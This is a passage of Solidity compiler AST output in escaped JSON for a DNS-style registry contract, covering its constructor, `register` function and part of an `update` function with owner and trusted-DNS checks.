IDNS\"},\"id\":2063,\"name\":\"UserDefinedTypeName\",\"src\":\"810:4:7\"}],\"id\":2064,\"name\":\"VariableDeclaration\",\"src\":\"810:33:7\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"0528b345\",\"mutability\":\"immutable\",\"name\":\"upgradeInfo\",\"scope\":2303,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":2065,\"name\":\"UserDefinedTypeName\",\"src\":\"846:7:7\"}],\"id\":2066,\"name\":\"VariableDeclaration\",\"src\":\"846:36:7\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":2303,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_dns\",\"scope\":2086,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":2067,\"name\":\"UserDefinedTypeName\",\"src\":\"898:4:7\"}],\"id\":2068,\"name\":\"VariableDeclaration\",\"src\":\"898:9:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_info\",\"scope\":2086,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":2069,\"name\":\"UserDefinedTypeName\",\"src\":\"909:7:7\"}],\"id\":2070,\"name\":\"VariableDeclaration\",\"src\":\"909:13:7\"}],\"id\":2071,\"name\":\"ParameterList\",\"src\":\"897:26:7\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2072,\"name\":\"ParameterList\",\"src\":\"924:0:7\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2064,\"type\":\"contract IDNS\",\"value\":\"originalDNS\"},\"id\":2073,\"name\":\"Identifier\",\"src\":\"928:11:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":2074,\"name\":\"Identifier\",\"src\":\"942:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2068,\"type\":\"contract IDNS\",\"value\":\"_dns\"},\"id\":2075,\"name\":\"Identifier\",\"src\":\"947:4:7\"}],\"id\":2076,\"name\":\"FunctionCall\",\"src\":\"942:10:7\"}],\"id\":2077,\"name\":\"Assignment\",\"src\":\"928:24:7\"}],\"id\":2078,\"name\":\"ExpressionStatement\",\"src\":\"928:24:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract Upgrade\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2066,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":2079,\"name\":\"Identifier\",\"src\":\"956:11:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract Upgrade\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2050,\"type\":\"type(contract Upgrade)\",\"value\":\"Upgrade\"},\"id\":2080,\"name\":\"Identifier\",\"src\":\"970:7:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2070,\"type\":\"contract Upgrade\",\"value\":\"_info\"},\"id\":2081,\"name\":\"Identifier\",\"src\":\"978:5:7\"}],\"id\":2082,\"name\":\"FunctionCall\",\"src\":\"970:14:7\"}],\"id\":2083,\"name\":\"Assignment\",\"src\":\"956:28:7\"}],\"id\":2084,\"name\":\"ExpressionStatement\",\"src\":\"956:28:7\"}],\"id\":2085,\"name\":\"Block\",\"src\":\"924:64:7\"}],\"id\":2086,\"name\":\"FunctionDefinition\",\"src\":\"886:102:7\"},{\"attributes\":{\"baseFunctions\":[1435],\"functionSelector\":\"89404978\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"register\",\"scope\":2303,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":2094,\"name\":\"OverrideSpecifier\",\"src\":\"1069:8:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":2149,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2087,\"name\":\"ElementaryTypeName\",\"src\":\"1009:6:7\"}],\"id\":2088,\"name\":\"VariableDeclaration\",\"src\":\"1009:21:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":2149,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":2089,\"name\":\"ElementaryTypeName\",\"src\":\"1032:6:7\"}],\"id\":2090,\"name\":\"VariableDeclaration\",\"src\":\"1032:10:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":2149,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2091,\"name\":\"ElementaryTypeName\",\"src\":\"1044:7:7\"}],\"id\":2092,\"name\":\"VariableDeclaration\",\"src\":\"1044:14:7\"}],\"id\":2093,\"name\":\"ParameterList\",\"src\":\"1008:51:7\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2095,\"name\":\"ParameterList\",\"src\":\"1078:0:7\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2096,\"name\":\"Identifier\",\"src\":\"1082:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2090,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":2097,\"name\":\"Identifier\",\"src\":\"1090:3:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2098,\"name\":\"Literal\",\"src\":\"1097:1:7\"}],\"id\":2099,\"name\":\"BinaryOperation\",\"src\":\"1090:8:7\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":2100,\"name\":\"Literal\",\"src\":\"1100:13:7\"}],\"id\":2101,\"name\":\"FunctionCall\",\"src\":\"1082:32:7\"}],\"id\":2102,\"name\":\"ExpressionStatement\",\"src\":\"1082:32:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_72301f333e9c6369f582d6ed0c62433b919531b006491d7068fd9dc5b3b5dced\",\"typeString\":\"literal_string \\\"Invalid domain.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2103,\"name\":\"Identifier\",\"src\":\"1118:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes memory\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(bytes storage pointer)\"},\"children\":[{\"attributes\":{\"name\":\"bytes\"},\"id\":2104,\"name\":\"ElementaryTypeName\",\"src\":\"1126:5:7\"}],\"id\":2105,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1126:5:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2088,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2106,\"name\":\"Identifier\",\"src\":\"1132:7:7\"}],\"id\":2107,\"name\":\"FunctionCall\",\"src\":\"1126:14:7\"}],\"id\":2108,\"name\":\"MemberAccess\",\"src\":\"1126:21:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2109,\"name\":\"Literal\",\"src\":\"1150:1:7\"}],\"id\":2110,\"name\":\"BinaryOperation\",\"src\":\"1126:25:7\"},{\"attributes\":{\"hexvalue\":\"496e76616c696420646f6d61696e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid domain.\\\"\",\"value\":\"Invalid domain.\"},\"id\":2111,\"name\":\"Literal\",\"src\":\"1153:17:7\"}],\"id\":2112,\"name\":\"FunctionCall\",\"src\":\"1118:53:7\"}],\"id\":2113,\"name\":\"ExpressionStatement\",\"src\":\"1118:53:7\"},{\"attributes\":{\"assignments\":[2115]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":2148,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":2114,\"name\":\"UserDefinedTypeName\",\"src\":\"1176:5:7\"}],\"id\":2115,\"name\":\"VariableDeclaration\",\"src\":\"1176:19:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2062,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":2116,\"name\":\"Identifier\",\"src\":\"1198:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2088,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2117,\"name\":\"Identifier\",\"src\":\"1203:7:7\"}],\"id\":2118,\"name\":\"IndexAccess\",\"src\":\"1198:13:7\"}],\"id\":2119,\"name\":\"VariableDeclarationStatement\",\"src\":\"1176:35:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_cf4795eecd9c709705bcc58cb66aa65b7544ae178f3f46e39cf23a0a32f659e8\",\"typeString\":\"literal_string \\\"Domain already taken.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2120,\"name\":\"Identifier\",\"src\":\"1215:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2115,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2121,\"name\":\"Identifier\",\"src\":\"1223:5:7\"}],\"id\":2122,\"name\":\"MemberAccess\",\"src\":\"1223:8:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2123,\"name\":\"Literal\",\"src\":\"1235:1:7\"}],\"id\":2124,\"name\":\"BinaryOperation\",\"src\":\"1223:13:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2115,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2125,\"name\":\"Identifier\",\"src\":\"1240:5:7\"}],\"id\":2126,\"name\":\"MemberAccess\",\"src\":\"1240:11:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":2127,\"name\":\"ElementaryTypeName\",\"src\":\"1255:7:7\"}],\"id\":2128,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1255:7:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2129,\"name\":\"Literal\",\"src\":\"1263:1:7\"}],\"id\":2130,\"name\":\"FunctionCall\",\"src\":\"1255:10:7\"}],\"id\":2131,\"name\":\"BinaryOperation\",\"src\":\"1240:25:7\"}],\"id\":2132,\"name\":\"BinaryOperation\",\"src\":\"1223:42:7\"},{\"attributes\":{\"hexvalue\":\"446f6d61696e20616c72656164792074616b656e2e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Domain already taken.\\\"\",\"value\":\"Domain already taken.\"},\"id\":2133,\"name\":\"Literal\",\"src\":\"1267:23:7\"}],\"id\":2134,\"name\":\"FunctionCall\",\"src\":\"1215:76:7\"}],\"id\":2135,\"name\":\"ExpressionStatement\",\"src\":\"1215:76:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2115,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2136,\"name\":\"Identifier\",\"src\":\"1296:5:7\"}],\"id\":2138,\"name\":\"MemberAccess\",\"src\":\"1296:8:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2090,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":2139,\"name\":\"Identifier\",\"src\":\"1307:3:7\"}],\"id\":2140,\"name\":\"Assignment\",\"src\":\"1296:14:7\"}],\"id\":2141,\"name\":\"ExpressionStatement\",\"src\":\"1296:14:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2115,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2142,\"name\":\"Identifier\",\"src\":\"1314:5:7\"}],\"id\":2144,\"name\":\"MemberAccess\",\"src\":\"1314:11:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2092,\"type\":\"address\",\"value\":\"_owner\"},\"id\":2145,\"name\":\"Identifier\",\"src\":\"1328:6:7\"}],\"id\":2146,\"name\":\"Assignment\",\"src\":\"1314:20:7\"}],\"id\":2147,\"name\":\"ExpressionStatement\",\"src\":\"1314:20:7\"}],\"id\":2148,\"name\":\"Block\",\"src\":\"1078:260:7\"}],\"id\":2149,\"name\":\"FunctionDefinition\",\"src\":\"991:347:7\"},{\"attributes\":{\"baseFunctions\":[1443],\"functionSelector\":\"f7a46696\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"update\",\"scope\":2303,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":2155,\"name\":\"OverrideSpecifier\",\"src\":\"1401:8:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":2200,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2150,\"name\":\"ElementaryTypeName\",\"src\":\"1357:6:7\"}],\"id\":2151,\"name\":\"VariableDeclaration\",\"src\":\"1357:21:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":2200,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":2152,\"name\":\"ElementaryTypeName\",\"src\":\"1380:6:7\"}],\"id\":2153,\"name\":\"VariableDeclaration\",\"src\":\"1380:10:7\"}],\"id\":2154,\"name\":\"ParameterList\",\"src\":\"1356:35:7\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2156,\"name\":\"ParameterList\",\"src\":\"1410:0:7\"},{\"children\":[{\"attributes\":{\"assignments\":[2158]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":2199,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":2157,\"name\":\"UserDefinedTypeName\",\"src\":\"1414:5:7\"}],\"id\":2158,\"name\":\"VariableDeclaration\",\"src\":\"1414:19:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2062,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":2159,\"name\":\"Identifier\",\"src\":\"1436:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2151,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2160,\"name\":\"Identifier\",\"src\":\"1441:7:7\"}],\"id\":2161,\"name\":\"IndexAccess\",\"src\":\"1436:13:7\"}],\"id\":2162,\"name\":\"VariableDeclarationStatement\",\"src\":\"1414:35:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2163,\"name\":\"Identifier\",\"src\":\"1621:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"||\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2164,\"name\":\"Identifier\",\"src\":\"1634:3:7\"}],\"id\":2165,\"name\":\"MemberAccess\",\"src\":\"1634:10:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"origin\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-26,\"type\":\"tx\",\"value\":\"tx\"},\"id\":2166,\"name\":\"Identifier\",\"src\":\"1648:2:7\"}],\"id\":2167,\"name\":\"MemberAccess\",\"src\":\"1648:9:7\"}],\"id\":2168,\"name\":\"BinaryOperation\",\"src\":\"1634:23:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2158,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2169,\"name\":\"Identifier\",\"src\":\"1661:5:7\"}],\"id\":2170,\"name\":\"MemberAccess\",\"src\":\"1661:11:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2171,\"name\":\"Identifier\",\"src\":\"1676:3:7\"}],\"id\":2172,\"name\":\"MemberAccess\",\"src\":\"1676:10:7\"}],\"id\":2173,\"name\":\"BinaryOperation\",\"src\":\"1661:25:7\"}],\"id\":2174,\"name\":\"BinaryOperation\",\"src\":\"1634:52:7\"}],\"id\":2175,\"name\":\"TupleExpression\",\"src\":\"1633:54:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2281,\"type\":\"function (address,address) view returns (bool)\",\"value\":\"isPreviousTrustedDNS\"},\"id\":2176,\"name\":\"Identifier\",\"src\":\"1691:20:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2177,\"name\":\"Identifier\",\"src\":\"1712:3:7\"}],\"id\":2178,\"name\":\"MemberAccess\",\"src\":\"1712:10:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2158,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2179,\"name\":\"Identifier\",\"src\":\"1724:5:7\"}],\"id\":2180,\"name\":\"MemberAccess\",\"src\":\"1724:11:7\"}],\"id\":2181,\"name\":\"FunctionCall\",\"src\":\"1691:45:7\"}],\"id\":2182,\"name\":\"BinaryOperation\",\"src\":\"1633:103:7\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the 